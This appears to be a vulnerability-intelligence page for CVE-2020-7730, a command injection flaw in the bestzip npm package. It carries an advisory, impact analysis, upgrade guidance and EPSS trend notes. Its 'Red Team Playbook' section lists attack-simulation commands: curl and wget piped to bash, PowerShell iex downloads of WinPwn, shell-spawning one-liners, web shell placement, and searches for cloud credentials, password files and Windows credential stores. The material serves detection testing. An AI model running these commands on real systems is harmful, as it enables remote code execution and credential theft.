CVE-2020-7730
Overview
This vulnerability is a command injection flaw rooted in improper sanitization of input passed to the options parameter within the bestzip package. The affected component is the command execution mechanism that processes user-supplied options without adequate validation, allowing arbitrary shell commands to be injected and executed. This occurs in versions prior to 2.1.7 of bestzip, specifically impacting its Node.js implementation.
Vulnerability Description
The package bestzip before 2.1.7 are vulnerable to Command Injection via the options param.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary commands on the host system with the privileges of the Node.js process using bestzip. This can lead to full system compromise, data theft, or service disruption. The attack requires only network access to a service invoking bestzip with attacker-controlled options, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The high confidentiality, integrity, and availability impacts (C:H/I:H/A:H) reflect the critical severity of this flaw.
Solution
Upgrade bestzip to version 2.1.7 or later, which includes the fix for this command injection vulnerability as detailed in the GitHub commit 45d4a901478c6a8f396c8b959dd6cf8fd3f955b6. Refer to the Snyk advisory at https://snyk.io/vuln/SNYK-JS-BESTZIP-609371 for patch instructions and verification of remediation. No additional workarounds are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Bestzip package prior to version 2.1.7 is characterized by a command injection flaw that arises from improper handling of user-supplied input in the options parameter. This weakness allows an attacker to execute arbitrary commands on the host system where the vulnerable package is deployed. The underlying issue stems from the way the application constructs command-line calls without adequately sanitizing or validating the input, thereby enabling malicious users to inject commands that the system will execute with the same privileges as the application. This flaw highlights a common pitfall in software development, where insufficient input validation can lead to severe security vulnerabilities.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting applications that utilize the Bestzip package for file compression or decompression tasks. An attacker could craft a specially designed input that includes command sequences, which, when processed by the application, would be executed by the underlying operating system. For instance, if an application allows users to upload files and specify options for compression, an attacker could manipulate the options parameter to include shell commands that perform unauthorized actions, such as creating new user accounts, exfiltrating sensitive data, or altering system configurations. The simplicity of this attack, combined with the widespread use of the affected package in Node.js applications, makes it a particularly attractive target for malicious actors.
The real-world impact of this vulnerability is significant, especially for organizations that rely on the Bestzip package for critical operations. The potential for arbitrary command execution poses a substantial business risk, as successful exploitation could lead to data breaches, system compromise, and disruption of services. Organizations may face financial losses due to operational downtime, legal liabilities stemming from data exposure, and reputational damage that can arise from public disclosure of a security incident. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is critical, necessitating immediate attention and remediation efforts to mitigate the associated risks.
To detect and mitigate the risks posed by this command injection vulnerability, organizations should implement several strategies. First, it is essential to update the Bestzip package to version 2.1.7 or later, where the vulnerability has been addressed. Regularly monitoring and applying security patches for all third-party libraries and dependencies is crucial to maintaining a secure software environment. Additionally, employing input validation techniques can help prevent command injection attacks. This includes sanitizing user inputs, implementing whitelisting for acceptable values, and using parameterized commands where possible. Organizations should also conduct security assessments and penetration testing to identify potential vulnerabilities within their applications and ensure that security best practices are being followed.
In conclusion, the command injection vulnerability in the Bestzip package represents a critical security concern that can have far-reaching implications for affected organizations. By understanding the technical details of the vulnerability, recognizing potential exploitation scenarios, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities. Proactive security measures, combined with a culture of security awareness, are essential in safeguarding applications and maintaining the integrity of sensitive data in an increasingly threat-laden digital landscape.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-7730, rising by approximately 25.7% to a current value of 0.1006. This upward adjustment, while not accompanied by new exploit techniques or proof-of-concept releases, indicates a growing likelihood of exploitation attempts in the near term. The stability of the 7-day trend suggests that this increase reflects a sustained elevation in risk rather than a transient spike. For defenders, this signals a need for heightened vigilance in monitoring environments where the vulnerable Bestzip package is deployed, as the probability of encountering exploitation attempts has become more pronounced. Although no new exploit details have emerged, the increased EPSS score underscores the importance of maintaining robust detection capabilities and prioritizing this vulnerability within risk management frameworks. Consequently, the threat level associated with CVE-2020-7730 should be considered elevated, reflecting a greater potential for adversaries to leverage this critical command injection flaw in operational contexts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bestzip Project | Bestzip | All |
cpe:2.3:a:bestzip_project:bestzip:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-7730 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-BESTZIP-609371 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/nfriedly/node-bestzip/commit/45d4a901478c6a8f396c8b959dd6cf8fd3f955b6 |